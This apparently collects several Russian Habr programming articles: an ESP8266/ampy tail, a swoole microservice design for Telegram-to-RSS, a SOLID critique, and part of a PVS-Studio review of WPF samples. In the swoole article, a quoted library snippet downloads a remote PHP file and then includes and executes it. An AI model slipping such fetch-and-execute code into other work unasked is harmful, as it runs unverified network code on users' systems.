К счастью, существут замечастельная утилита [ampy](https://github.com/adafruit/ampy) и она делает как раз то, что нам нужно — позволяет пересылать файлы через serial connection. Также она позволяет выполнять файлы и создавать/удалять папки.
Для удобства использования, я написал простой скрипт, который является оберткой для ampy.
Он умеет делать всего две вещи:
1. Если вызван с параметром -f, то передает в МК все питоновские файлы, которые находятся в той же папке, в которой лежит скрипт.
2. Если вызван без параметров, то все аргументы передаются непосредственно в ampy (избавляет от необходимости постоянно указывать порт в ampy).
Скрипт доступен [на гитхабе](https://github.com/alexzaitsev/ampyw). Поместите его в папку, где лежит ваш код.
Чтобы посмотреть хелп — просто вызовите скрипт без аргументов.
ESP8266 в основном используется для несложных задач, поэтому этих простых инструментов будет вполне достаточно.
Итоги
-----
Итого, мы прошили нашу esp8266, настроили необходимое ПО для общения с МК и обеспечили себе быструю и удобную разработку с помощью ampy и ampyw, что даёт нам независимость от IDE. Теперь всё, что требуется от вас — писать код и создавать девайс своей мечты! | https://habr.com/ru/post/345912/ | null | ru | null |
# Микросервисы на php и swoole для конвертации телеграм каналов в RSS
В предыдущем посте я рассказал про то, как настроить и использовать php телеграм клиент madelineProto для парсинга постов. Но при использовании библиотеки я столкнулся с несколькими недостатками:
* Долгая обработка запросов из-за авторизации телеграм клиента;
* Неудобная настройка;
* Проблемы с отдачей изображений из постов.
Поэтому решил создать два микросервиса на php для парсинга телеграм каналов, используя асинхронное расширение swoole. Теперь эти пакеты упрощают и ускоряют работу с telegram api (не путать с bot api) в нескольких моих проектах. Хочется поделится ими и услышать мнение других разработчиков.
Под катом расскажу об архитектуре, использовании разных областей видимости в swoole server и устранении последствий ошибок в сторонних библиотеках и внешних api. Ссылки на репозитории с исходным кодом и на тестовый сервер — в конце поста.
Общая архитектура
-----------------
Изначально планировался один пакет, который выступал бы в качестве парсера telegram и генератора RSS потоков. Но в процессе разработки код становился все более и более неподдерживаемым. Стало ясно, что нужно строже следовать одному из базовых канонов разработки: метод или библиотека должны решать только одну задачу.
В результате декомпозиции появились два микросервиса: TelegramApiServer и TelegramRSS.
*Общая схема сервиса по генерации RSS потоков из telegram каналов*
**TelegramRSS**
Отвечает за коммуникацию с пользователями и генерацию RSS потоков. Упрощенная схема работы:
1. Получаем запрос от клиента;
2. Определяем, что запросили: главную страницу, favicon, rss, json или media файл;
3. Если пользователь сделал некорректный запрос, или слишком часто обращается к api — добавляем ip в blacklist;
4. Если пользователь в blacklist — выдаем ошибку;
5. Запрашиваем сообщения из телеграм канала или конкретный медиафайл из поста через http запрос к TelegramSwooleClient;
6. Если запросили media файл: даем команду TelegramApiServer скачать файл во временную папку и вернуть путь до этого файла. Отдаем файл и удаляем его;
7. Если запросили RSS: парсим ответ TelegramApiServer и генерируем RSS;
В TelegramRSS использование swoole сервера было не обязательным, но дало небольшие преимущества:
* Не нужен кеш для хранения черного списка ip адресов (или других данных). Все необходимое хранится в памяти, в экземпляре класса, доступном во всех запросах.
* Проще конфигурация nginx: проксируем запросы на ip микросервиса и не беспокоимся о безопасности файлов: .env или \*.session.madeline и любых других.
**TelegramApiServer**
Отвечает за коммуникацию с telegram api. По сути — это обертка над madelineProto, задача которой держать телеграм клиент в памяти и при получении http запроса вызывать соответствующий метод madelineProto.
Допустим, нам нужно получить 10 последних постов из канала. Пример кода из документации madelineProto:
```
if (!file_exists('madeline.php')) {
copy('https://phar.madelineproto.xyz/madeline.php', 'madeline.php');
}
include 'madeline.php';
$MadelineProto = new \danog\MadelineProto\API('session.madeline');
$MadelineProto->start();
$messages_Messages = $MadelineProto->messages->getHistory([
'peer' =>'breakingmash',
'offset_id' => 0,
'offset_date' => 0,
'add_offset' => 0,
'limit' => 10,
'max_id' => 0,
'min_id' => 0,
'hash' => 0,
]);
```
Данный код будет выполняться минимум 1-2 секунды при горячем запуске или около 10 секунд при холодном. Большую часть этого времени занимает проверка или генерация временных ключей, соединение с серверами телеграм и авторизация на них.
Однако, если запустить swoole server, инициализировать madelineProto при запуске и в обработчике запросов использовать инициализированный экземпляр madelineProto, то мы получим сервис, который будет обрабатывать запросы за 100-200 мс. Пример простого обращения к такому микросервису, дающего аналогичный результат:
```
//Для примера используется file_get_contents, но через него сложно обрабатывает ошибки.
//В реальных задачах лучше использовать curl
$response = file_get_contents('http://127.0.0.1:9503/api/messages.getHistory/?data[peer]=breakingmash&data[limit]=10&data[offset_id]=0&data[offset_date]=0&data[add_offset]=0&data[max_id]=0&data[min_id]=0&data[hash]=0');
if ($response){
$response = json_decode($response, true);
}
$messages_Messages = $response['response'];
```
Основные преимущества микросервисного подхода:
* Снижение времени обработки запросов с 1-10 секунд до 50-300 мс. за счет авторизации при запуске сервиса, а не при каждом запросе.
* Упрощение кода
* Снижение размера проектов. Нет необходимости включать madelineProto в зависимости, достаточно просто обращаться к нужному адресу из любого проекта (можно даже настроить прием запросов из внешних источников)
* Можно запустить неограниченное число клиентов с разными аккаунтами на разных портах
Swoole: использование
---------------------
Swoole сервер дает огромные преимущества, но сложно ли его запустить? Совсем нет.
Разберем на примере:
```
//Ради примера код скомпонован в "спагетти" и немного упрощен.
//В проекте он находится в нескольких разных методах
//Создаем сервер, который будет слушать запросы
$http_server = new \swoole_http_server(
'127.0.0.1',
9503,
SWOOLE_BASE
);
//Указываем что обрабатываем все запросы в один поток и используем http сжатие данных
$http_server->set([
'worker_num' => 1,
'http_compression' => true,
]);
//Инициализируем класс, в котором будем хранить черный список ip адресов, время бана и тд...
$ban = new Ban();
//Инициализируем класс через который будем общаться madelineProto
//Инициализация займет 1-10 секунд, но будет произведена только 1 раз при старте сервера
$client = new \TelegramSwooleClient\Client();
//Создаем callback с обработчиком запросов
//На каждый запрос будет вызываться наш callback и в него будут передаваться объекты с запросом и ответом.
$http_server->on('request', function(\Swoole\Http\Request $request, \Swoole\Http\Response $response) use($client, $ban)
{
//На каждый запрос создаем новый экземпляр класса Controller.
//переменные $client и $ban - в данном случае глобальные. Они содержат классы, неизменные для всех запросов. Данные внутри этих классов хранятся пока работает сервер.
//Их так же можно использовать, как простой кеш.
new Controller($request, $response, $client, $ban);
});
//Запускаем сервер
//Этот метод будет выполняться все время работы сервера.
$http_server->start();
```
Это лишь часть кода из библиотеки TelegramApiServer, но она дает представление о том, как запустить http swoole сервер, и как использовать разные области видимости.
Swoole: установка
-----------------
Надеюсь, вы уже хотите начать использовать swoole в своих проектах, поэтому распишу чуть подробнее про установку.
Для установки необходим, как минимум, виртуальный сервер с KVM, для возможности установки расширений php. На ubuntu 18.04, с php 7.3 сделал следующее:
```
# устанавливаем pecl
apt-get install php-dev
# для поддержки http2 в swoole нужно это расширение
apt install libnghttp2-dev
# иногда в системе нет g++, он нужен для компиляции расширения из исходников
apt-get install g++
# устанавливаем актуальную версию swoole
pecl install swoole
```
Далее последуют вопросы касательно включения разных модулей. В моем случае я сделал такой выбор:
```
enable sockets supports? [no] : yes
enable openssl support? [no] : no
enable http2 support? [no] : yes
enable mysqlnd support? [no] : yes
enable postgresql coroutine client support? [no] : no
```
На MacOs вместо apt-get можно использовать brew.
При наличии включенного Xdebug, при старте скрипта, swoole предупреждает, что могут возникнуть проблемы с дебагом внутри корутин. Но я с ними так и не столкнулся.
Особенности работы микросервисов
--------------------------------
Swoole server — это демон, который должен работать непрерывно. Значит необходимо обеспечить автоматическое восстановление работы после падений. Для мониторинга и перезапуска я использую supervisor.
Содержимое .conf файла для TelegramApiServer:
```
[program:telegram_client]
command=/usr/bin/php /home/admin/web/tg.i-c-a.su/TelegramApiServer/server.php
numprocs=1
directory=/home/admin/web/tg.i-c-a.su/TelegramApiServer/
autostart=true
autorestart=true
stdout_logfile=none
redirect_stderr=true
```
Для TelegramRSS конфигурация аналогична.
Логи в supervisor отключены, так как логирование реализовано внутри пакета. Главные параметры — это `autostart=true` (запускает микросервис при запуске системы) и `autorestart=true` (безусловный перезапуск, даже если работа была завершена без ошибок).
В последних версиях madelineProto есть неприятная особенность: при получении запроса после 10-15 минут без запросов, библиотека выдает неустранимую ошибку. После этого требуется ее перезапускать. Все запросы во время перезапуска не будут обработаны и завершатся ошибкой.
Для решения этой проблемы я сначала использовал рестарт по крону:
```
*/15 * * * * supervisorctl restart telegram_server
```
Но условия возникновения фатальной ошибки и интервал точно установить не удалось. Вероятно, в часы пик телеграм агрессивнее закрывает неактивные соединения, и такой сценарий не предусмотрен в библиотеке. Но во время рестарта сервис гарантированно был недоступен, что было неприемлемо.
Сейчас реализован более элегантный костыль: TelegramApiServer завершает работу при определенном виде ошибки в madelineProto и происходит перезапуск через supervisor. TelegramRSS ждет, когда сервер восстановит работу и дублирует ему запросы. Таким образом, нет ненужных рестартов. А если при обработке запроса TelegramApiServer упал, то запрос все равно будет обработан корректно, хоть и с задержкой в несколько секунд.
Используя swoole версий 2 и 4 в течении последнего года, могу сказать: на умеренных нагрузках он стабилен, не вызывает утечек памяти и вполне подходит для продакшена. Но нужно тщательно тестировать все зависимости и свой код, что бы не было никаких не перехваченных \Throwable.
ab тесты вроде
```
ab -c 100 -n 1000 https://tg.i-c-a.su/
```
Выдерживает без проблем.
Среднее использование памяти (параметр RSS из утилиты ps): до 30 МБ для TelegramRSS и до 60 МБ для TelegramApiServer.
TL;DR
-----
* Swoole позволяет использовать микросервисную архитектуру в php проектах
* Микросервисы, в данном случае, позволяют: ускорить запросы, инкапсулировать логику, упростить код и избавиться от дублирования зависимостей.
* Для установки swoole требуется VPS c KVM или выделенный сервер.
* Желательно настроить supervisor для бесперебойной работы микросервисов
* Swoole сервер, как и любой демон, предъявляет повышенные требования к стабильности кода и зависимостей. Но при правильной архитектуре перезапускать нестабильные сервисы можно почти незаметно для пользователя.
**Исходный код и ссылки**[github.com/xtrime-ru/TelegramApiServer](https://github.com/xtrime-ru/TelegramApiServer)
[github.com/xtrime-ru/TelegramRSS](https://github.com/xtrime-ru/TelegramRSS)
Сервер для тестов, конвертирующий Telegram в RSS: [tg.i-c-a.su](https://tg.i-c-a.su)
Документация swoole: [www.swoole.co.uk](https://www.swoole.co.uk)
Документация madelineProto: [docs.madelineproto.xyz](https://docs.madelineproto.xyz)
Документация supervisor: [supervisord.org/configuration.html#program-x-section-settings](http://supervisord.org/configuration.html#program-x-section-settings)
Подбирал градиент на схеме с архитектурой в: [www.draw.io](https://www.draw.io) :) | https://habr.com/ru/post/354000/ | null | ru | null |
# Почему принципы SOLID не являются надежным решением для разработки программного обеспечения
Фото от https://unsplash.com/@lazycreekimagesРоберт Мартин представил [принципы SOLID](https://www.freecodecamp.org/news/solid-principles-explained-in-plain-english) в 2000 году, когда объектно-ориентированное программирование стало настоящим искусством для программистов. Каждый хочет создать что-то долговечное, которое можно использовать повторно, насколько это возможно, с минимальными изменениями, которые потребуются в будущем. SOLID - идеальное название для этого.
Фактически, объектно-ориентированное программирование работает лучше всего, когда мы можем отделить то, что останется, от того, что изменится. Принципы SOLID помогают разделять это.
Мне лично нравится идея, лежащая в основе принципов SOLID и я многому из нее научился.
### Тем не менее…
Здесь есть главный вызов. Всё программное обеспечение предназначено для изменения. А изменения действительно трудно предсказать, если вообще возможно. Поэтому нам действительно сложно определить четкую границу того, что останется и что изменится.
Чтобы проиллюстрировать, как эта проблема влияет на принципы SOLID, давайте рассмотрим каждый из принципов.
Принцип единственной ответственности
------------------------------------
> «У [класса](https://en.wikipedia.org/wiki/Class_(computer_programming)) не должно быть более одной причины для изменения». Другими словами, у каждого класса должна быть только одна ответственность.
>
>
Предположим, нам нужна функция вычисления для нашей программы. Единственная обязанность класса - вычислить.
```
class Calculate {
fun add (a, b) = a + b
fun sub (a, b) = a - b
fun mul (a, b) = a * b
fun div (a, b) = a / b
}
```
Для некоторых это идеально, так как у него одна обязанность - вычислить.
Но кто-то может возразить: «Эй! Он делает 4 вещи! Сложить, вычесть, умножить и разделить! »
Кто прав? Я скажу, это зависит от обстоятельств.
Если ваша программа использует только `Calculate` для выполнения вычислений, тогда все хорошо. Дальнейшее его абстрагирование было бы чрезмерной инженерией.
Но кто знает, в будущем кто-то может просто захотеть выполнить операцию сложения без необходимости использовать класс `Calculate`. Тогда код выше нужно изменить!
Определение единственной ответственности зависит от контекста программы и может меняться со временем. Мы можем следовать принципу сейчас, но не навсегда.
Принцип открытости/закрытости
-----------------------------
> «Программные объекты ... должны быть открыты для расширения, но закрыты для модификации».
>
>
Этот принцип - идеалистический принцип. Предполагалось, что после того, как класс закодирован, если он сделан правильно, его больше не нужно изменять.
Давайте посмотрим на код ниже:
```
interface Operation {
fun compute(v1: Int, v2: Int): Int
}
class Add:Operation {
override fun compute(v1: Int, v2: Int) = v1 + v2
}
class Sub:Operation {
override fun compute(v1: Int, v2: Int) = v1 - v2
}
class Calculator {
fun calculate(op: Operation, v1: Int, v2: Int): Int {
return op.compute(v1, v2)
}
}
```
В приведённом выше коде есть класс `Calculator`, который принимает объект Operation для вычисления. Мы можем легко расширить этот класс с помощью операций `Mul` и `Div` без изменения кода самого класса `Calculator`.
```
class Mul:Operation {
override fun compute(v1: Int, v2: Int) = v1 * v2
}
class Div:Operation {
override fun compute(v1: Int, v2: Int) = v1 / v2
}
```
Отлично, мы соблюдаем принцип открытости/закрытости!
Но однажды появилось новое требование. Cкажем, нам нужна новая операция — Inverse. Она просто возьмет один операнд, например X, и вернет результат 1/X.
Кто на земле мог подумать, что это произойдет? Мы определили функцию `сompute` нашего рабочего интерфейса так, чтобы она имела 2 параметра. Теперь нам нужна новая операция, у которой всего 1 параметр.
Как теперь избежать модификации класса `Calculator`? Если бы мы знали это заранее, возможно, мы не писали бы наш класс калькулятора и интерфейс операций как таковые.
Изменения никогда нельзя полностью спланировать. Если бы это можно было полностью спланировать, возможно, программное обеспечение нам больше и не понадобилось бы :)
Принцип подстановки Лискоу
--------------------------
> «Функции, использующие указатели или ссылки на базовые классы, должны иметь возможность использовать объекты производных классов, не зная об этом».
>
>
Когда мы были молоды, мы узнавали основные атрибуты животных. Они подвижны.
```
interface Animal {
fun move()
}
class Mammal: Animal {
override move() = "walk"
}
class Bird: Animal {
override move() = "fly"
}
class Fish: Animal {
override move() = "swim"
}
fun howItMove(animal: Animal) {
animal.move()
}
```
Это соответствует принципу замены Лискоу.
Но мы знаем, что сказанное выше не совсем правильно. Некоторые млекопитающие плавают, некоторые летают, а некоторые птицы ходят. Итак, мы меняем код на:
```
class WalkingAnimal: Animal {
override move() = "walk"
}
class FlyingAnimal: Animal {
override move() = "fly"
}
class SwimmingAnimal: Animal {
override move() = "swim"
}
```
Круто, все по-прежнему хорошо, так как наша функция все еще может использовать `Animal`:
```
fun howItMove(animal: Animal) {
animal.move()
}
```
Но сегодня я кое-что обнаружил. [Есть животные, которые вообще не двигаются](http://www.madsci.org/posts/archives/2003-03/1047050472.Gb.r.html). Они называются Sessile. Может нам стоит изменить код так:
```
interface Animal
interface MovingAnimal: Animal {
move()
}
class Sessile: Animal {}
```
Теперь это нарушит приведенный ниже код.
```
fun howItMove(animal: Animal) {
animal.move()
}
```
У нас нет возможности гарантировать, что мы никогда не изменим функцию `howItMove`. Мы можем достичь этого, основываясь на том, что мы знаем на данный момент. Но по мере того, как мы осознаем новые требования, нам нужно меняться.
Даже в реальном мире существует множество исключений. Мир программного обеспечения - это не реальный мир. Все возможно.
Принцип разделения интерфейса
-----------------------------
> «Многие клиентские интерфейсы лучше, чем один интерфейс общего назначения».
>
>
Давайте посмотрим на животное царство. У нас есть интерфейс `Animal`, как показано ниже.
```
interface Animal {
fun move()
fun eat()
fun grow()
fun reproduction()
}
```
Однако, как мы поняли выше, есть некоторые животные, которые не двигаются, и это `Sessile`. Поэтому мы должны выделить функцию `move` как отдельный интерфейс.
```
interface Animal {
fun eat()
fun grow()
fun reproduction()
}
interface MovingObject {
fun move()
}
class Sessile : Animal {
//...
}
class NonSessile : Animal, MovingObject {
//...
}
```
Затем мы хотели бы иметь еще и `Plant`. Возможно, нам следует отделить `grow`и`reproduction`:
```
interface LivingObject {
fun grow()
fun reproduction()
}
interface Plant: LivingObject {
fun makeFood()
}
interface Animal: LivingObject {
fun eat()
}
interface MovingObject {
fun move()
}
class Sessile : Animal {
//...
}
class NonSessile : Animal, MovingObject {
//...
}
```
Мы довольны тем, что выделяем как можно больше клиентских интерфейсов. Это похоже на идеальное решение.
Однако, кто-то начинает кричать: «Дискриминация! Некоторые животные бесплодны, это не значит, что они больше не LivingObject!».
Похоже, теперь нам нужно отделить `reproduction`от интерфейса `LivingObject`.
Если мы это сделаем, у нас будет буквально одна функция на один интерфейс! Это очень гибко, но может быть слишком гибко, если нам не нужно такое тонкое разделение.
Насколько хорошо мы должны разделять наши интерфейсы зависит от контекста нашей программы. К сожалению, контекст нашей программы будет время от времени меняться. Следовательно, мы должны продолжить рефакторинг или разделить наши интерфейсы, чтобы убедиться, что это по-прежнему имеет смысл.
### Принцип инверсии зависимостей
> «Положитесь на абстракции, а не на что-то конкретное».
>
>
Мне нравится этот принцип, поскольку он относительно универсален. Он применяет идею [концепции независимого решения](https://towardsdatascience.com/the-root-of-all-software-design-challenge-independent-or-dependent-31252051bf0e), в которой некоторая сущность в программе хотя и зависит от класса, но по-прежнему независима от него.
Если мы будем практиковать это строго, ничто не должно напрямую зависеть от класса.
Давайте посмотрим на пример ниже. Он действительно применяет принцип инверсии зависимостей.
```
interface Operation {
fun compute (v1: Int, v2: Int): Int
fun name (): String
}
class Add: Operation {
override fun compute (v1: Int, v2: Int) = v1 + v2
override fun name () = "Add"
}
class Sub: Operation {
override fun compute (v1: Int, v2: Int) = v1 - v2
override fun name () = "Subtract"
}
class Calculator {
fun calculate (op: Operation, v1: Int, v2: Int): Int {
println ("Running $ {op.name ()}")
return op.compute (v1, v2)
}
}
```
`Calculator` Не зависит от `Add` или `Sub`. Но вместо этого он выполняет `Add` и `Sub` , которые зависят от `Operation`. Это выглядит хорошо.
Однако, если кто-то из группы разработчиков Android использует его, это будет проблемой. `println` не работает в Android. Нам понадобится `Lod.d` взамен.
Чтобы решить эту проблему, мы должны сделать `Calculator` независящим напрямую от `println`. Вместо этого мы должны внедрить интерфейс `Printer`:
```
interface Printer {
fun print(msg: String)
}
class AndroidPrinter: Printer {
override fun print(msg: String) = Log.d("TAG", msg)
}
class NormalPrinter: Printer {
override fun print(msg: String) = println(msg)
}
class Calculator(val printer: Printer) {
fun calculate(op: Operation, v1: Int, v2: Int): Int {
printer.print("Running ${op.name()}")
return op.compute(v1, v2)
}
}
```
Это решает проблему соблюдения принципа инверсии зависимостей.
Но если Android никогда не будет использовать этот `Calculator`, и мы создадим такой интерфейс заранее, возможно, мы нарушили [YAGNI](https://martinfowler.com/bliki/Yagni.html).
---
TL; DR;
-------
Позвольте мне повторить, для меня принципы SOLID - это хорошие принципы для следования в разработке программного обеспечения. Это особенно полезно, когда мы хорошо знаем на данный момент, что меняться не будет, а что, скорее всего, изменится.
Однако изменения случаются сверх того, что мы можем ожидать. Когда это произойдет, новые требования приведут к тому, что наши оригинальные проекты больше не будут соответствовать принципам SOLID.
Это нормально. Это произойдет. Нам просто нужно применить новые требования и снова изменить наш код, чтобы он мог следовать принципам SOLID.
Программное обеспечение по своей природе МЯГКОЕ и сделать его навсегда следующим SOLID сложно. Для программного обеспечения применение принципов SOLID - это не состояние, а процесс. | https://habr.com/ru/post/555862/ | null | ru | null |
# Проверяем исходный код WPF Samples от Microsoft
С целью популяризации анализатора кода PVS-Studio, который научился проверять помимо C++, ещё и C# проекты, мы решили проверить исходный код WPF примеров, предлагаемых компанией Microsoft.
С выходом Windows Vista, была представлена новая система для построения красивых клиентских приложений — Windows Presentation Foundation (WPF). Данная графическая подсистема включена в состав .NET Framework начиная с версии 3.0. Она использует язык разметки XAML и пришла на смену устаревшему WinForms. На мой взгляд, основным недостатком WinForms было то, что он осуществлял всю прорисовку на центральном процессоре. WPF поступала более логически и отдавала прорисовку своих компонентов DirectX. Сейчас WPF практически вытеснило WinForms и позволяет делать универсальные интерфейсы сразу для трех платформ (PC, XBOXOne, Winphone).
Для анализа исходных кодов WPF примеров от Microsoft ([исходники](https://github.com/Microsoft/WPF-Samples)) был использован статический анализатор кода [PVS-Studio](http://www.viva64.com/ru/pvs-studio-download/) версии 6.05.
Интересной особенностью рассматриваемого Solution является то, что наряду с C# проектами там содержатся проекты, написанные на С++. Об этой особенности я узнал только из списка ошибок, найденных PVS-Studio. Плагин PVS-Studio для Visual Studio без каких-либо дополнительных манипуляций от пользователя проанализировал и вывел в сообщения, относящиеся как к C#, так и к С++ коду.
*Рисунок 1. В окне PVS-Studio одновременно отображаются предупреждения, относящиеся как к C#, так и C++ коду проверенного проекта (нажмите на рисунок для увеличения).*
**C# Ошибки**
-------------
**1. Ошибки при составлении условий инструкции if**
Ошибки при сравнении чего-либо с чем-либо — весьма распространённая проблема у программистов. Давайте пройдемся по ним.
В данном исходном коде присутствует два абсолютно одинаковых условия:
```
public int Compare(GlyphRun a, GlyphRun b)
{
....
if (aPoint.Y > bPoint.Y) //<==
{
return -1;
}
else if (aPoint.Y > bPoint.Y) //<==
{
result = 1;
}
else if (aPoint.X < bPoint.X)
{
result = -1;
}
else if (aPoint.X > bPoint.X)
{
result = 1;
}
....
}
```
[V3003](http://www.viva64.com/ru/d/0382/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 418, 422. txtserializerwriter.cs 418
Что именно они хотели сравнить во втором случае — не совсем ясно, но явно не то, что написали.
Мы поголовно пишем проверки на *null* в условия, чем оберегаем программу от внештатных ситуаций. Можно сказать, что большая часть условий *if* состоит именно в проверках на *null* каких- либо полей или переменных. Вместе с тем, иногда проверки бывают не только излишни, но и могут таить в себе логическую ошибку:
```
public static string FindNumeric(string content)
{
string[] values = content.Split(' ');
if (values != null)
{
return values[0];
}
return "none";
}
```
[V3022](http://www.viva64.com/ru/d/0081/) Expression 'values != null' is always true. Util.cs 287
Можно предположить, что автор хотел проверить, что *values* содержит больше 0 элементов, но я так и не смог придумать ситуации, когда *Split* вернет пустой массив. В любом случае, как ни крути, проверка на *null* здесь была совершенно лишняя.
Как я говорил, проект содержит код из С++ и C# диагностик. У меня сложилось впечатление, что к следующему коду приложил руку именно C++ программист.
```
private void LoadNotes()
{
var fs = new FileStream("NotesFile", FileMode.Open);
if (fs != null)
{
....
}
```
[V3022](http://www.viva64.com/ru/d/0081/) Expression 'fs != null' is always true. MainWindow.cs 66
На самом деле, даже в C++ коде такой вариант ошибочен, а в C# так вообще «странно» смотрится. Почему так неверно писать в C++ коде, описано в статье "[Проверяем исходный код 7-Zip с помощью PVS-Studio](http://www.viva64.com/ru/b/0402/)", ну, а мы продолжим заниматься разбором C# кода.
Далеко от подобных ситуаций нам уйти не удалось. В Solution нашлось две практически одинаковых функции (спасибо «copy-paste») с одной и той же ошибкой:
```
private void SerializeObjectTree(object objectTree)
{
TextWriter writer = new StreamWriter(_stream);
try
{
string fileContent =
XamlRtfConverter.ConvertXamlToRtf(
XamlWriter.Save(objectTree));
writer.Write(fileContent);
}
finally
{
if (writer != null)
writer.Close();
}
}
```
[V3022](http://www.viva64.com/ru/d/0081/) Expression 'writer != null' is always true. htmlserializerwriter.cs 324
Ну не будет *writer* нулевой ссылкой…
Кидать ошибку в исключительных ситуациях — не самое плохое решение. Главное — не ошибиться в условии, когда нужно выкидывать исключение, потому что можно создать у пользователя вашего приложения весьма неприятное впечатление, когда программа падает на ровном месте.
```
protected Size SizeParser(string o)
{
....
if (sizeString.Length == 0 || sizeString.Length != 2)
throw new ApplicationException("Error: a size should
contain two double that seperated by a space
or ',' or ';'");
....
}
```
[V3023](http://www.viva64.com/ru/d/0081/) Consider inspecting the 'sizeString.Length == 0 || sizeString.Length != 2' expression. The expression is excessive or contains a misprint. MainWindow.cs 140
Судя по тексту ошибки, в данном случае, проверка на 0 излишняя, достаточно было проверить *sizeString.Length* на неравенство 2.
В длинных телах инструкции *if* очень сложно обнаружить бессмысленные проверки глазами.
```
private static void WriteElement(....)
{
if (htmlWriter == null)
{
....
}
else
{
if (htmlWriter != null && htmlElementName != null)
{
....
....
}
```
[V3063](http://www.viva64.com/ru/d/0461/) A part of conditional expression is always true: htmlWriter != null. HtmlFromXamlConverter.cs 491
Для анализатора это не проблема. Кстати, благодаря любимому нашему копированию-вставке, ошибка была найдена сразу в двух проектах: *HtmlToXamlDemo* и *DocumentSerialization*.
Конечно, бессмысленные проверки встречаются не только в длинных функциях, но и в пределах двух-трех строчек.
```
private void OnFlipPicTimeline(object sender, EventArgs e)
{
var clock = (Clock) sender;
if (clock.CurrentState == ClockState.Active) // Begun case
{
return;
}
if (clock.CurrentState != ClockState.Active) // Ended case
{
....
}
}
```
[V3022](http://www.viva64.com/ru/d/0081/) Expression 'clock.CurrentState != ClockState.Active' is always true. MainWindow.cs 103
В принципе, ничего страшного, но, когда после идет инструкция *if* вложенная еще в один *if* и еще и еще… Хочется избавиться хотя бы от бессмысленных проверок для лучшего восприятия кода, который, на самом деле, читается гораздо чаше чем пишется.
Давайте немного передохнём. И посмотрим на вот такую необычную функцию, которая мне встретилась. Тело функции приведено полностью:
```
private void UpdateSavings()
{
Savings = TotalIncome - (Rent + Misc + Food);
if (Savings < 0)
{
}
else if (Savings >= 0)
{
}
}
```
[V3022](http://www.viva64.com/ru/d/0081/) Expression 'Savings >= 0' is always true. NetIncome.cs 98
Также было найдено много (более 60) сравнений вещественных чисел (*double*) с конкретным 0.
```
if (leftConst != null && leftConst.Value == 0)
{
// 0 + y; return y;
return newRight;
}
```
К примеру:* V3024 An odd precise comparison: leftConst.Value == 0. Consider using a comparison with defined precision: Math.Abs(A — B) < Epsilon. AddExpression.cs 34
* V3024 An odd precise comparison: leftConst.Value == 1. Consider using a comparison with defined precision: Math.Abs(A — B) < Epsilon. MultExpression.cs 42
* V3024 An odd precise comparison: leftConst.Value == -1. Consider using a comparison with defined precision: Math.Abs(A — B) < Epsilon. MultExpression.cs 47
* и так далее...
Статьи не хватит все строчки привести. Данное предупреждение у нас находится на 3-м уровне, т.к. её актуальность сильно зависит от специфики программы. В случае, если над числами производится математические вычисления (манипуляциях со значением), то не гарантируется, что мы получим конкретное число: -1, 0, 1. Отклонение в 0,00000000001уже приведет к неверному результату сравнения. Однако, если логика программы предполагает запись в вещественные числа (*double*) дискретных значений, то подобные проверки не являются ошибкой.
**2. Ошибки в инициализации и при присвоении переменных**
Функция — отличная штука, которая не только позволяет убрать повторяющиеся код, но и упростить понимание участка кода, где эта функция используется. Особенно важно, чтобы функция выполняла именно ту задачу, которая описана в её имени и сигнатуре вызова. Но так бывает не всегда. Возьмем, например, следующий участок кода. Функция приведена полностью для лучшего понимания ситуации.
```
public bool OpenDocument(string fileName)
{
Microsoft.Win32.OpenFileDialog dialog;
// If there is a document currently open, close it.
if (this.Document != null) CloseFile();
dialog = new Microsoft.Win32.OpenFileDialog();
dialog.CheckFileExists = true;
dialog.InitialDirectory = GetContentFolder();
dialog.Filter = this.OpenFileFilter;
bool result = (bool)dialog.ShowDialog(null);
if (result == false) return false;
fileName = dialog.FileName; //<==
return OpenFile(fileName);
}
```
[V3061](http://www.viva64.com/ru/d/0468/) Parameter 'fileName' is always rewritten in method body before being used. ThumbViewer.xaml.cs 192
Имя файла, которое предполагается открыть, перетирается прямо перед его первым использованием *fileName = dialog.FileName*. Да, в данном случае, откроется диалоговое окно и будет выбран файл пользователя, но зачем тогда нужен параметр, который по факту не используется?
Нехватка времени и копирование-вставка иногда порождают весьма странные конструкции:
```
public MailSettingsDialog()
{
....
_timerClock = _timerClock = new DispatcherTimer();
....
}
```
[V3005](http://www.viva64.com/ru/d/0403/) The '\_timerClock' variable is assigned to itself. MailSettingsDialog.cs 56
Казалось бы, не самая страшная опечатка, но она наталкивает на мысль, а туда ли мы «пишем во второй раз». Ну, например, как здесь:
```
private void DumpAllClipboardContentsInternal()
{
....
if (dataObject == null)
{
clipboardInfo.Text =
clipboardInfo.Text =
"Can't access clipboard now!
\n\nPlease click Dump All Clipboard
Contents button again.";
}
else
{
....
}
```
[V3005](http://www.viva64.com/ru/d/0403/) The 'clipboardInfo.Text' variable is assigned to itself. MainWindow.cs 204
Вообще, код изобилует странными присваиваниями:
```
private void DoParse(string commandLine)
{
....
strLeft = strRight = string.Empty;
strLeft = strs[0];
strRight = strs[1];
....
}
```
[V3008](http://www.viva64.com/ru/d/0395/) The 'strLeft' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 55, 54. CommandLine.cs 55
[V3008](http://www.viva64.com/ru/d/0395/) The 'strRight' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 56, 54. CommandLine.cs 56
*strLeft и strRight* — это просто локальные переменные типа *string*.
Ну или вот, дальнейший пример кода, более некорректный. В нем зачем-то так много чего-то считали, а после еще раз пересчитали и записали в туже переменную.
```
private object InvokMethod(....)
{
arg = commandLine.Substring(
commandLine.IndexOf("(", StringComparison.Ordinal) + 1,
commandLine.IndexOf(")",
StringComparison.Ordinal) -
(commandLine.IndexOf("(",
StringComparison.Ordinal) + 1));
arg = commandLine.Substring(
commandLine.IndexOf("(",
StringComparison.Ordinal) + 1);
}
```
[V3008](http://www.viva64.com/ru/d/0395/) The 'arg' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 176, 173. CommandLine.cs 176
И еще много-много таких или подобных примеров бессмысленного первичного присвоения:
```
private void DrawFormattedText(DpiScale dpiInfo)
{
....
Geometry geometry = new PathGeometry();
geometry = formattedText.BuildGeometry(
new System.Windows.Point(0, 0));
....
}
```
* V3008 The 't' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 141, 115. TrackBall.cs 141
* V3008 The 't' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 141, 115. TrackBall.cs 141
